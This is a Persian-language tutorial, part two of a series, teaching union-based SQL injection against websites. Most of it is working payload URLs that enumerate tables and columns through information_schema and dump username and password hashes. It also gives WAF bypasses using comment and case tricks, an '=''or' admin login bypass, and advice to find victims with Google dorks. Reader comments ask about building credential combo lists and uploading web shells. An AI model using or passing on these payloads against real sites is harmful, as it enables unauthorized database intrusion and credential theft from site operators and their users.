- آموزش SQL Injection و تزریق کد به دیتابیس قسمت اول
- آموزش SQL Injection و تزریق کد به دیتابیس قسمت دوم
آموزش SQL Injection قسمت دوم را به صورت حرفهای با هیتوس همراه باشید.
بدست آوردن اطلاعات مهم با دستور Union در فرایند SQL Injection
دستور union
برای ترکیب اطلاعات دریافتی از پایگاه داده توسط توسعه دهندگان وب مورد استفاده قرار میگیرد.
پس از آنکه در مراحل قبل تعداد ستونهای دیتابیس را یافتیم با دستور union select
سعی در یافتن ستون آسیب پذیر و واکشی اطلاعات مهم از آن داریم.
مثلا در یک تارگت تعداد ستونها 8 عدد باشد، مانند زیر از دستور union select
استفاده میکنیم:
site.com/news.php?id=5+union+select+1,2,3,4,5,6,7,8--
صفحه دوباره لود میشود و در آن اعداد مشخصی نمایش داده میشوند که این اعداد شماره ستونهای آسیب پذیر هستند.
ولی گاهی یافتن شماره ستون در بین حجم بالای اطلاعات درون صفحه مشکل است، که برای حل این مشکل از -
قبل از شماره ID استفاده میکنیم، مانند زیر:
site.com/news.php?id=-5+union+select+1,2,3,4,5,6,7,8--
یک نمونه از اجرای دستور union select
را در پایین میبینید:
در مثال فوق شمارههای 3 و 2 و 5 شماره ستونهای آسیب پذیر است.
نکته: در عملیات تست نفوذ SQL Injection باید بسیار هوشمند باشید چون گاهی ممکن است این اعداد در آدرس عکسها ایجاد شوند. مثلا ممکن است Target شما آدرس عکسها را از پایگاه داده دریافت کند بنابراین کوچکترین تغییرات را باید در صفحه مد نظر داشت.
می توان دو دستور version()
و database()
را برای یافتن به ترتیب ورژن نسخه MySql و نام پایگاه داده استفاده کرد، که این دستورها باید به جای شماره ستونهای آسیب پذیر جایگذاری شوند. نمونه این استفاده را در پایین میبینید:
نام دیتابیس و ورژن دیتابیس برای تکمیل تست نفوذ مهم است.
یافتن نام جداول پایگاه داده نیز با دستور union select
ممکن است، کافی است به جای شماره ستون آسیب پذیر از group_concat(table_name)
و در نهایت نیز از دستوری استفاده کنید که اطلاعات جداول موجود در پایگاه داده را از جدول information_schema دریافت کند که به شرح زیر است:
site.com/view-news.php?id=-10+union+select+1,2,group_concat(table_name),4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
در کد بالا به جای ستون شماره 3 از عبارت فوق الذکر استفاده کردیم. در آخر کدها نیز از سورسی استفاده کردیم که نام جداول سایت را استخراج میکند.
نتیجه اجرای دستور فوق را در یک سایت مانند زیر میبینید:
همانطور که میبینید نام جداول پایگاه داده سایت استخراج شدند. طبیعی است برای تکمیل عملیات نفوذ برخی از این جداول مانند users از اهمیت بالاتری برخوردارند. در بررسی هر پایگاه دادهای باید دنبال جداول مهم باشیم که معمولا میتوان از نام آن ها، جداول مهم را شناسایی کرد.
بدست آوردن اطلاعات موجود در جداول پایگاه داده
بعد از این که با روشهای گفته شده در بالا به آسیب پذیری یک پایگاه داده پی بردیم و توانستیم نام جداول مهم را استخراج کنیم، با مراحلی که در این بخش یاد میگیریم میتوانیم نامهای کاربری و کلمههای عبور ورود به سایت را استخراج کنیم.
آخرین دستوری که یاد گرفتیم دستور group_concat(table_name)
بود که برای دریافت نامهای جداول از آن استفاده میکردیم. اگر این دستور را به صورت group_concat(column_name)
ویرایش کنیم و به جای information_schema.tables
از information_schema.columns
و به جای table_schema
از table_name
استفاده کنیم و مقدار database()
را با نام هگزادسیمال جدول مورد نظر جایگذاری کنیم، میتوانیم نام ستونهای این جدول را استخراج کنیم.
یک مثال را در پایین داریم، که ستون شماره 3 آسیب پذیر است و نام جدول هدف ما user است:
site.com/view-news.php?id=-10+union+select+1,2,group_concat(column_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x7573657273--+
نتیجه اجرای دستور فوق به صورت زیر است:
در حال رسیدن به مکان حساسی از این آموزش هستیم. عبارات داخل پرانتز group_concat
را با نام ستونهای مورد نظر خود جایگذاری میکنیم. بهتر است یک ستون در میان از 0x3a
استفاده کنیم تا نتایج با :
تفکیک شوند (0x3a
معادل هگز :
است که میتوان از معادل هگز هر کاراکتر دیگری استفاده کرد). در ضمن کدهای بعد از from
را نیز پاک کرده و نام جدول مورد نظر را بدون این که هگز کنیم تایپ میکنیم:
site.com/view-news.php?id=-10+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9+from+users--+
نتیجه اجرای کد فوق به شکل زیر است:
پسوردی که در بالا میبینید به صورت هش شده است. در این مطلب به رمزنگاری در علوم رایانهای پرداختیم و در مطلب اصطلاحات هک و امنیت که در سایت منتشر شده است اشاره کردیم که هشها در واقع اطلاعات مهم پایگاه داده هستند که به صورت کد شده ذخیره میشوند. در این مطلب که در سایت هیتوس منتشر شده است به روشهای متنوع کرک کردن هشها پرداخته ایم.
در این مطلب راه کارهای یافتن صفحه مدیریت سایت را به صورت مفصل شرح داده ایم.
در این مطلب یاد بگیرید چگونه یوزرنیم و پسورد سایتها را با ترفند Google Hacking استخراج کنید.
بایپس group_concat
در فرایند نفوذ گاهی دیده شده است که تمام کدها درست است و در آخرین مرحله هنگام استفاده از group_concat با مشکل روبرو میشویم و چیزی روی صفحه چاپ نمیشود. برای حل کردن میتوان از بایپس زیر بهره ببرید:
unhex(hex(group_concat()))
مثال بخش قبل را با این بایپس ویرایش میکنیم:
site.com/view-news.php?id=-10+union+select+1,2,unhex(hex(group_concat(username,0x3a,password())),4,5,6,7,8,9+from+users--+
بایپس Not Acceptable
در برخی از نفوذها هنگام تست تارگت با مشکلی مواجه میشویم که به ما ارور Not Acceptable میدهد.
به عنوان مثال در هنگام تست کردن یک تارگت در مرحله زیر به این خطا بر خوردیم:
site.com/view.php?13+union+select+1,2,3,4,5--
بایپس Not Acceptable به صورت /*!50000*/
مورد استفاده قرار میگیرد. مثال فوق را برای دور زدن خطای Not Acceptable به شکل زیر ویرایش میکنیم:
site.com/view.php?13+/*!50000union*/+select+1,2,3,4,5--
اگر باز هم خطا را دریافت کردید این بایپس را برای select و from و group_concat و union هم استفاده کنید.
اگر باز به نتیجه نرسیدید برخی از حرفهای عبارتهای select و from و group_concat و union را به حروف کاپیتال تبدیل کنید. مانند زیر:
site.com/view.php?13+/*!50000uNiOn*/+/*!50000sEleCt*/+1,2,3,4,5--
این که چه حروفی را کاپیتال کنید تفاوتی نمیکند.
نکته: در حین اجرای دستورات ممکن است یک بار خطایی مانند Not Acceptable را بایپس کرده و با تغییر کدها باز از این خطا را دریافت کنیم. باید دیگر مقادیر را نیز دوباره بایپس کرده و بایپسهای دیگر را نیز تست کرد تا در نهایت به نتیجه برسیم.
بایپسهای ویژه برای Forbidden
ارور Forbidden مانند Not Acceptable گاهی مانع فعالیت شما میشود. اگر با این خطا مواجه شدید ابتدا بایپس مخصوص Not Acceptable را امتحان کنید، اگر به نتیجه نرسیدید از دو روش زیر استفاده کنید:
1) به جای --
از %23
استفاده کنید.
2) اگر با بایپس بالا به نتیجه نرسیدید قبل از هر کدام از عبارتهای کلیدی select و from و group_concat و union از بایپس /**Anything**/
استفاده کنید. به جای Anything میتوانید از هر عبارتی میتوانید استفاده کنید. مانند:
site.com/view.php?13+union+/**Anything**/select+1,2,3,4,5--
بایپس سریع صفحه ورود admin
یکی از بایپسهای فوری و موثر صفحات ورود بایپس '=''or'
است که البته چند سال پیش تارگتهای بیشتری برای آن وجود داشت ولی باز نیز بایپسهایی برای آن میتوان یافت. از تکنیک گوگل هکینگ استفاده کنید و صفحاتی مانند /admin.php
و /admin
را بیابید و لاگین پیجهای مناسب را بیابید و در مکان username و password از بایپس '=''or'
استفاده کنید.
SQL Injection برای صفحات بدون id و ...
در برخی از سایتها با آدرسهایی مانند زیر بر میخوریم:
site.com/1.html site.com/news/123/
کار کردن روی چنین تارگتهایی نیز ساده است و تنها کافی است مقدار شناسه را با مقادیر مورد نظر تست کنیم. برای تارگتهای فوق داریم:
site.com/'1.html
site.com/news/'123/
اگر سوالی در مورد انجام عملیات SQL Injection داشتید در بخش نظرات با ما در ارتباط باشید.
تگ ها: googleرمز نگاریکالی لینوکستست نفوذدیتابیس و پایگاه دادهSQL Injectionهک
فقط کاش روش به دست اوردن هگزادسیمال رو میگفتین
سلام خسته نباشین ...میشه ساخت کمبو لیست psn با ساخت دورک ساخت کمبو لیست از طریق sqli dumper برامون توضیح بدین من خیلی گشتمو یسری آموزش پیدا کردم که هیچکدوم نتیجه نداد ممنون میشم توضیح بدین....مچکر
سلام
تو YouTube کلیپ زیاد داره.
با سلام
ممنون از اموزش های خوبتون واقعا عاللللللللیه اموزشتون رو هرچی ازش بگم کمه
ببخشید اگه میشه اموزش ساخت و برنامه نویسی شل رو برای اپلود روی تارگت بزارید
سلام
ممنون از لطفتون.
در آینده می ذارم انشالله.